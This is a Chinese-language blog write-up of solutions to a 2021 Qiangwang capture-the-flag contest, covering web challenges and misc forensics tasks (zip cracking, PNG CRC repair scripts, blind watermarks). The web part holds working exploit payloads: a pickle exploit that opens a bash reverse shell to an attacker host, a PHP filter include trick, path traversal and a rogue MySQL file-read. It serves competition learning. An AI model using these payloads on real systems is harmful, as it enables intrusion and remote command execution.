2021第四届“强网”拟态防御国际精英挑战赛-部分WP

2021第四届“强网”拟态防御国际精英挑战赛-部分WP

Web

zerocalc

源码中发现用readFile()函数读取了./src/index.js

所以我们只需构造Payload如下,即可读取flag:

1
readFile('/flag')

ezPickle

参考链接:

https://xz.aliyun.com/t/7012#toc-10

https://github.com/eddieivan01/pker

http://www.rayi.vip/2021/08/01/2021%20%E5%B7%85%E5%B3%B0%E6%9E%81%E5%AE%A2%20Web%20Writeup/

构造exp.py:

1
2
3
4
5
notadmin = GLOBAL('config', 'notadmin')
notadmin['admin'] = 'yes'
config_backdoor = GLOBAL('config', 'backdoor')
config_backdoor(["__import__('os').system(\"bash -c 'bash -i >& /dev/tcp/vpsip/8080 0>&1'\")"])
return

使用pker.py生成payload,然后将生成的payload进行base64加密

将加密后的payload发送后,执行命令反弹shell

new_hospital

首先进行目录扫描,发现有一个flag.php文件,并且有old目录(历史网站版本)。

在主页点击功能进行抓包分析

在Cookie中存在API参数,base64解密后发现是调用的.js文件名,尝试直接读flag不成功,因为会自动加上.js后缀。

想到还有一个old目录,尝试在旧版本中尝试漏洞,可以成功,直接读取../flag.php即可。

Give_me_your_0day

题目为Typecho安装页面,因为可以配置数据库,所以想到可以搭建恶意mysql服务器,进行本地文件读取。

使用Rogue-MySql-Server一类的工具搭建恶意mysql服务器。

工具地址:https://github.com/allyshka/Rogue-MySql-Server

服务器python2运行,进行监听,多次尝试发现都无法成功。

直接去Typecho的官方Github仓库查看install.php部分的代码,发现有以下几种数据库模式

尝试将dbAdapter改为mysqli,即可成功读取。

EasyFilter

题目代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
ini_set("open_basedir","./");
if(!isset($_GET['action'])){
highlight_file(__FILE__);
die();
}
if($_GET['action'] == 'w'){
@mkdir("./files/");
$content = $_GET['c'];
$file = bin2hex(random_bytes(5));
file_put_contents("./files/".$file,base64_encode($content));
echo "./files/".$file;
}elseif($_GET['action'] == 'r'){
$r = $_GET['r'];
$file = "./files/".$r;
include("php://filter/resource=$file");
}

简单分析,传入/?action=w&c=payload,即可将payload写入,不过是经过base64加密后的。

由于我们写入的文件是经过base64加密的,所以需要使用convert.base64-decode构造Payload读取并解码写入的文件,然后程序会包含进去。

1
/?action=r&r=convert.base64-decode/../../files/954d2ea460

Misc

BlueWhale

压缩包伪加密,使用winrar修复一下即可。

wireshark打开数据包,跟踪TCP数据流,找到一个密码。

由于还有一个压缩包,尝试密码不对,看到压缩包里有一个password.txt文件,想到明文攻击。

新建一个password.txt文件,填入找到的密码,并将password.txt文件压缩,查看CRC32校验码,发现一致。

直接明文攻击得到密码。

解压缩发现一张png图片,使用StegSolve软件打开,LSB模式最低位有隐藏数据。

WeirdPhoto

解压压缩包发现一张CRC32校验错误的图片,网上有现成的脚本可以爆破CRC32验证码和修复图片。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#coding=utf-8
import zlib
import struct
#读文件
file = '1.png'
fr = open(file,'rb').read()
data = bytearray(fr[12:29])
#crc32key = eval(str(fr[29:33]).replace('\\x','').replace("b'",'0x').replace("'",''))
crc32key = 0x9E916964
#data = bytearray(b'\x49\x48\x44\x52\x00\x00\x01\xF4\x00\x00\x01\xF1\x08\x06\x00\x00\x00') #hex下copy grep hex
n = 4095 #理论上0xffffffff,但考虑到屏幕实际,0x0fff就差不多了
for w in range(n):#高和宽一起爆破
width = bytearray(struct.pack('>i', w))#q为8字节,i为4字节,h为2字节
for h in range(n):
height = bytearray(struct.pack('>i', h))
for x in range(4):
data[x+4] = width[x]
data[x+8] = height[x]
#print(data)
crc32result = zlib.crc32(data)
if crc32result == crc32key:
print(width,height)
newpic = bytearray(fr)
for x in range(4):
newpic[x+16] = width[x]
newpic[x+20] = height[x]
fw = open(file+'.png','wb')
fw.write(newpic)
fw.close

打开修复后的照片,有字符串,栏杆密码得到压缩包密码。

解压压缩包,out文件无后缀,使用Hxd打开发现应该是pdf文件,需要修复一下文件头。

PDF隐写,使用wbs43open-win32工具解密,获得隐藏信息。

mirror

图片挺大,划到末尾发现是png图片头

观察了一会,发现这张png中藏了两个png图片,只不过后面那张png图片需要按每16个字节为一组进行反转拼接。

反转后又得到一张一样的图片,接下来尝试修复高度。

脚本参考:https://www.cnblogs.com/vict0r/p/13258286.html

1
2
3
4
5
6
7
8
9
10
11
import struct
import binascii
from Crypto.Util.number import bytes_to_long

img = open("full.png", "rb").read()

for i in range(0xFFFF):
stream = img[12:20] + struct.pack('>i', i) + img[24:29]
crc = binascii.crc32(stream)
if crc == bytes_to_long(img[29:33]):
print(hex(i))

爆破得高度为0x505,与原图片中不一致

将两张图片的高度都修复下

然后两张图片,想到解一下盲水印

工具地址:https://github.com/chishaxie/BlindWaterMark

根据提示:2-5 e-6 9-a p-b q-d替换字母,得到最终flag。

文章作者: Linuz
文章链接: https://linuz.me/2021/10/26/2021-QWTSCTF-Writeup/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Linuz's Blog
敢不敢赏脸一次